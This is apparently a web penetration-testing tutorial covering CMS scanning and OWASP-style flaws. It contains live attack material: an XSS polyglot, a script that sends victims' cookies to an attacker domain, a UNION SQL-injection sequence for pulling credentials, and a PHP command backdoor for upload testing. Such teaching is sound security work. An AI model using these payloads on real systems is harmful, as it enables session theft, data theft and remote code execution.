Skip to content

Latest commit

 

History

History
232 lines (189 loc) · 15.3 KB

Exploitation Phase 2.md

File metadata and controls

232 lines (189 loc) · 15.3 KB
Raw

Exploitation Phase [Part-2]

1.Exploiting CMS

  • A content management system (CMS) is a software application that can be used to manage the creation and modification of digital content

1.1 Wordpress

  • There are in fact hundreds of exploits and misconfigurations impacting WordPress and its associated plugins. One common tool to scan for these vulnerabilities is wpscan:
  • TIP: Always make sure to check “/wp-content/uploads/” .

1.2 Joomla

1.3 Drupal

python3 droopescan scan Drupal -u <URL Here> -t 32

1.4 Adobe AEM

python aem_hacker.py -u <URL Here> --host <Your Public IP>

  • Note that in order to test for the SSRF vulnerabilities you need to have a public IP that the target server can connect back to.

  • If you come across a CMS you haven't seen before the first step is to go to xploit db and see if it has any known CVEs:

2. Eploitation OWASP

2.1 XML External Entity (XXE)

  • XML External Entity (XXE) is a vulnerability that can appear when an application parses XML
  • you can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable? Note that in order to read the data the entity must be returned in the response.
  • Exploitation:
    • Capture the POST request in Burp. Whenever you see XML you should test for XXE :
    • To test for XXE simply put in your malicious external entity and replace each node value with it as shown below:
    • If the server doesn’t block external entities the response will be reflected.

2.2 Cross Site Scripting (XSS)

  • This vulnerability can be used to execute malicious JavaScript in a user’s web browser. This could then be used to steal users JWT tokens, CSRF tokens, and cookies.
  • There are three types of XSS reflected, stored, and DOM based.
    1. Reflected XSS: Suppose you have an application which produces an error message when you type in the wrong user name and password. The error message could look something like this: “The email or password you entered is not valid. Please try again.”
      • You then notice that there is a GET parameter in the URL which has this same message: “example.com/login.php?error=The+email+or+password+you+entered+is+not valid.+Please+try+again.” - If the application doesn’t protect against XSS we could insert malicious JavaScript code into the user browser.
    2. Stored XSS:
    • Suppose you have an application that allows you to create an account. The application also has a page which lists out all the members of the site. You could assume that the username you create is being stored in the backend database otherwise how would the application be able to retrieve this information. If youwere to put a malicious JavaScript payload as your username it would then be stored in the back-end database. If the application isn’t blocking XSS attacks whenever someone visits the members list page your username would be retrieved from the back-end database and your XSS payload would trigger.

    3. DOM XSS: - Document Object Model (DOM) based XSS occurs when an application takes user supplied input passes it to a JavaScript function and that function uses the input to modify the DOM environment. - ![](assets/xxs3.png)

XSS Sources [Updated]

  • A list of javascript sources can be found in the list below:
    • document.URL
    • document.documentURI
    • document.baseURI
    • location
    • location.href
    • location.search
    • location.hash
    • Location.pathname
    • Document.cookie

Polygot [Updated]

  • Just pasting the payload ' “<script>alert(0)</script>” and looking for an alert box won't always work. You might have to break out of a set of quotes so your payload would look like ‘ “</script>alert(0)</script>’ or you have to break out of a div tag so your payload may look like “ ><script>alert(0)</script>”
    • Maybe the vulnerability is in an image src attribute so your payload looks like “javascript:alert(0)” or maybe it's a DOM based vulnerability so your payload would just be “alert(0)”.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  • The example shown above is a famous XSS polyglot by “0xsobky” and it can be used to trigger your xss payload on a multitude of scenarios.

Beyond Alertbox [Updated]

  • Prompting a Alert box sounds cool, but doesn't shows the full impace of XSS Vulnerability. A lot can be done like:
    • Cookie Stealer: Javascript can be used to retrieve a users cookies as shown below:
      • Document.cookie
    • Redirection: By modifying the “document.location” we can force the browser to navigate to an attackers webpage as shown below : - Document.location = ” http://attacker-domain.com ”
      • Example
<script type="text/javascript"> document.location='http://attacker-domain/cookiestealer?cookie='+document.cookie; </script>

2.3 SSRF

  • Server-Side Request Forgery (SSRF) occurs when an attacker forces an application to make HTTP requests on their behalf.

  • This can be used to read data from internal applications. Most people leverage this vulnerability to post or read data from sensitive endpoints such as AWS and Gcloud metadata service, FTP service, LDAP service, and local files.

  • How to Find?

    • search for requests that have a URL as a parameter value
    • If the response is reflected back to the attacker you could have a possible SSRF vulnerability.
    • then change the URL to google.com and if I see a response then you can assume the endpoint is vulnerable.

  • The stock API value is changed to admin's dirctory on Local IP. The request will be performed by the target application thus it will perform a request against itself. This endpoint has an admin application hosted on the local host, normally this would be impossible to access from the internet but because of SSRF we can.

2.4 Cross Site Request Forgery (CSRF)

  • CSRF is an attack performed on an applications user that causes their browser to send requests on behalf of the attacker.
  • This can be used to change a user’s password and email, like a page or video, send money to an attacker, and anything else you can do via a POST request.

  • Impact: Suppose an application allows users to change their email by submitting a form. If the application fails to protect against CSRF attacks attackers could force users to change their email to an attacker controlled email. After that the attacker could perform a password reset to change the users password and take over their account.

2.5 SQL Injection

  • If you ever see that error you know there is SQL injection

  • Basically, you ask the database “do you have 1 column?”, the server will then respond and says yes. You then ask “do you have 2 columns?” and the server responds again with yes. Then you ask “do you have 3 columns?” and the database errors out. So, you know the database table only contains 2 columns. --> ‘ order by --

  • After getting to know about number of columns we need to figure out which columns are used to display text on the application.

  • We need to know this so we know which column to use when extracting data. --> select NULL,NULL—

  • To do this we can replace each selected column with a string and see if it appears on the page. --> ' union select NULL,'VULNERABLE'--

  • The first thing we need to retrieve are the table names in the current database.

  • We can list every table in the database. --> ' union select NULL, table_name from database_name.tables—

  • The next step is to determine this tables column names. --> ' union select NULL, column_name from information_schema.columns where table_name = 'Table_Name' —

  • The final step is to exfiltrate the data. To return the password and username in the same column we can use the “concat()” function. --> ' union select NULL, concat(Column_Name,':',Column Name 2>) from Table_Name --

  • However, in the real world if you find a vulnerable endpoint it’s probably best to use a tool like SQLmap as its easier and faster.

Error-Based SQLi [Updated]

  • With union based sql injection the output is displayed by the application. Error based sql injection is a little different as the output is displayed in an error message. This is useful when there is no output except a sql error.
  • If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to exfiltrate data from the database.
    • The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Remember with error based sql injection we must extract our data via sql error messages.

2.6 Command Injection

  • Attackers can leverage this vulnerable to gain remote code execution (RCE) on their target.
  • Depending on the operating system you can use several techniques to execute additional commands thus allowing an attacker to gain RCE.

  • Commnad Injection Example:

  • Command Injection - Request & Response

  • As you can see, on injecting the “echo hi” command and I received a response. This is a very strong indicator that the application is vulnerable to command injection. However, the vast majority of these bug are blind and you won’t see any output making it harder to detect.

2.7 Cross Site Web Socket Hijacking (CSWSH)

  • Web sockets set up a full duplex communication channel allows use to both read and post data. This vulnerability can be used to perform XSS, SQL injection, RCE, and anything else.

  • WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection.

  • WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection.

  • similar to CSRF because we utilize the targets cookies to make requests
  • The major difference is instead of sending a POST request we initiate a web socket connection. After the WebSocket connection is established we can do whatever we want.
  • How to Check ?

    • The first thing you want to do is examine the traffic in burp. Most people only know how to use burp to test HTTP traffic but it can also handle web socket traffic as shown below:

    • We can use the following website to test for the vulnerability:

    • I have personally used this vulnerability to exploit quite a few applications. One of the instances allowed me to completely take over users machines as the web socket connection was being used to send shell commands to a remote server. This allowed me to gain remote code execution (RCE).

2.8 File Upload [Updated]

  • As you are aware, web applications sometimes let users upload file files to their site. This can be in the form of a profile picture, pdf upload functionality, or whatever.

  • If done improperly attackers can upload malicious files potentially gaining remote code execution(RCE). If there is an upload feature you should be testing for this vulnerability.

  • One of the first things I do when testing file upload functionalities is to upload a simple cmd backdoor.

  • An Example of PHP Backdoor:

     <?php if(isset($_REQUEST['cmd'])){ echo"<pre>"; $cmd = ($_REQUEST['cmd']); 
 system($cmd); echo "</pre>"; die; }?>

  • Content Type Bypass:

    • Content type validation is when the server validates the content of the file by checking the MIME type of the file, which can be found in the http request.

    • As we can see the above image clearly states the file has a Content-Type of “application/x-php”.

    • If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation.

  • File Name Bypass

    • Sometimes the server will check the file name to see if it is blacklisted or white listed.
    • The issue with black listing is that if you forget even 1 extension attackers can bypass the validation. To implement this check most developers will use a regex to check the file extension.

2.9 Directory Traversal [Updated]

  • It is a vulnerability that occurs when developers improperly use user supplied input to fetch files from the operating system.

  • As you may know the “../” characters will traverse back one directory so if this string is used to retrieve files you can retrieve sensitive files by traversing up or down the file structure.

  • How to Detect ?

    • If you see an application utilizing user supplied input to fetch files you should immediately test to see if its vulnerable to directory traversal. This can be fairly easy to spot as shown below:
    • As you can see there is a GET parameter called page which is used to load the contents of “index.html”. If improperly implemented attackers leverage the “../” technique to load any file they want.

2.10 Open Redirect [Updated]

  • Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way [According to Google]
  • our goal is to make the application redirect to our site.
  • You'll have to test the Redirection in Old Fashion:
  • To do this I try to get the site to redirect to Google, if it does then the application is vulnerable.

2.11 Insecure Direct Object Reference (IDOR) [Updated]

  • A vulnerability that occurs when a user is able to view unauthorized data. The issue here is that the developer failed to implement proper access controls when calling resources so users can access other users data.
  • easy to find and can have a high impact depending on the context
  • spot this vulnerability by looking for a request which contains your user id, username, email, or some other id tied to your user
  • As you can see above there are two requests. One will set a users email and the other will get a users email. The backend application uses the “userId” value supplied by the user when performing these actions without any other verification. So as an attacker we could easily modify and retrieve any user's email on the application.